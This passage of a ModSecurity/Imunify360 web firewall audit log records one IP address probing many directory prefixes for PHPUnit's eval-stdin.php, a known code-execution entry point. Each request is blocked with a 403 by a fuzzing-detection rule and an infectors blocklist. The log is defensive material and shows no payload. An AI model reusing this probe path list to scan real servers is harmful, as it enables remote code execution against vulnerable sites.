Content-Type: text/html; charset=iso-8859-1
--f42eaa43-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/testing/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/testing/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKsEwu1RSkptiiNIX1MAAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKsEwu1RSkptiiNIX1MAAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789282992027414 57662 (- - -)
Stopwatch2: 1789282992027414 57662; combined=55737, p1=1263, p2=54150, p3=0, p4=0, p5=324, sr=148, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f42eaa43-Z--
--6cb65260-A--
[13/Sep/2026:10:03:14.197013 +0300] aqZKsmM7dE9KgIIOpQhtvgAAANM 106.51.22.217 39298 127.0.0.1 7081
--6cb65260-B--
GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--6cb65260-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6cb65260-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/api/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/api/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKsmM7dE9KgIIOpQhtvgAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKsmM7dE9KgIIOpQhtvgAAANM"]
Action: Intercepted (phase 2)
Stopwatch: 1789282994140454 56604 (- - -)
Stopwatch2: 1789282994140454 56604; combined=55180, p1=323, p2=54549, p3=0, p4=0, p5=308, sr=161, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6cb65260-Z--
--907a7a7e-A--
[13/Sep/2026:10:03:15.859814 +0300] aqZKs0wu1RSkptiiNIX1MgAAAIA 106.51.22.217 41512 127.0.0.1 7081
--907a7a7e-B--
GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--907a7a7e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--907a7a7e-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/demo/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/demo/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKs0wu1RSkptiiNIX1MgAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKs0wu1RSkptiiNIX1MgAAAIA"]
Action: Intercepted (phase 2)
Stopwatch: 1789282995802892 57047 (- - -)
Stopwatch2: 1789282995802892 57047; combined=55715, p1=299, p2=55107, p3=0, p4=0, p5=308, sr=160, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--907a7a7e-Z--
--f70ea02c-A--
[13/Sep/2026:10:03:17.715461 +0300] aqZKtUwu1RSkptiiNIX1MwAAAIE 106.51.22.217 41524 127.0.0.1 7081
--f70ea02c-B--
GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--f70ea02c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f70ea02c-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/cms/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/cms/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKtUwu1RSkptiiNIX1MwAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKtUwu1RSkptiiNIX1MwAAAIE"]
Action: Intercepted (phase 2)
Stopwatch: 1789282997657408 58111 (- - -)
Stopwatch2: 1789282997657408 58111; combined=56526, p1=333, p2=55841, p3=0, p4=0, p5=352, sr=147, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f70ea02c-Z--
--ff982f42-A--
[13/Sep/2026:10:03:19.790811 +0300] aqZKt0wu1RSkptiiNIX1NQAAAIg 106.51.22.217 41544 127.0.0.1 7081
--ff982f42-B--
GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--ff982f42-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ff982f42-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/crm/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/crm/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKt0wu1RSkptiiNIX1NQAAAIg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKt0wu1RSkptiiNIX1NQAAAIg"]
Action: Intercepted (phase 2)
Stopwatch: 1789282999731854 59009 (- - -)
Stopwatch2: 1789282999731854 59009; combined=57571, p1=259, p2=56861, p3=0, p4=0, p5=451, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ff982f42-Z--
--e6525144-A--
[13/Sep/2026:10:03:22.194240 +0300] aqZKukwu1RSkptiiNIX1NgAAAIQ 106.51.22.217 41552 127.0.0.1 7081
--e6525144-B--
GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--e6525144-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e6525144-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/admin/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/admin/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKukwu1RSkptiiNIX1NgAAAIQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKukwu1RSkptiiNIX1NgAAAIQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789283002137778 56517 (- - -)
Stopwatch2: 1789283002137778 56517; combined=55197, p1=302, p2=54584, p3=0, p4=0, p5=310, sr=150, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e6525144-Z--
--ccb8c705-A--
[13/Sep/2026:10:03:24.317000 +0300] aqZKvEwu1RSkptiiNIX1NwAAAJg 106.51.22.217 41554 127.0.0.1 7081
--ccb8c705-B--
GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--ccb8c705-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ccb8c705-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKvEwu1RSkptiiNIX1NwAAAJg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKvEwu1RSkptiiNIX1NwAAAJg"]
Action: Intercepted (phase 2)
Stopwatch: 1789283004258531 58511 (- - -)
Stopwatch2: 1789283004258531 58511; combined=55953, p1=324, p2=55227, p3=0, p4=0, p5=402, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ccb8c705-Z--
--85f28c11-A--
[13/Sep/2026:10:03:26.411416 +0300] aqZKvkwu1RSkptiiNIX1OAAAAIw 106.51.22.217 44488 127.0.0.1 7081
--85f28c11-B--
GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--85f28c11-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--85f28c11-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/blog/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/blog/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKvkwu1RSkptiiNIX1OAAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKvkwu1RSkptiiNIX1OAAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789283006353498 57973 (- - -)
Stopwatch2: 1789283006353498 57973; combined=55236, p1=319, p2=54536, p3=0, p4=0, p5=380, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--85f28c11-Z--
--448b426f-A--
[13/Sep/2026:10:03:28.298285 +0300] aqZKwGM7dE9KgIIOpQhtwAAAAMQ 106.51.22.217 44502 127.0.0.1 7081
--448b426f-B--
GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--448b426f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--448b426f-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/workspace/drupal/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/workspace/drupal/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKwGM7dE9KgIIOpQhtwAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKwGM7dE9KgIIOpQhtwAAAAMQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789283008241306 57082 (- - -)
Stopwatch2: 1789283008241306 57082; combined=54908, p1=322, p2=54025, p3=0, p4=0, p5=560, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--448b426f-Z--
--120cb473-A--
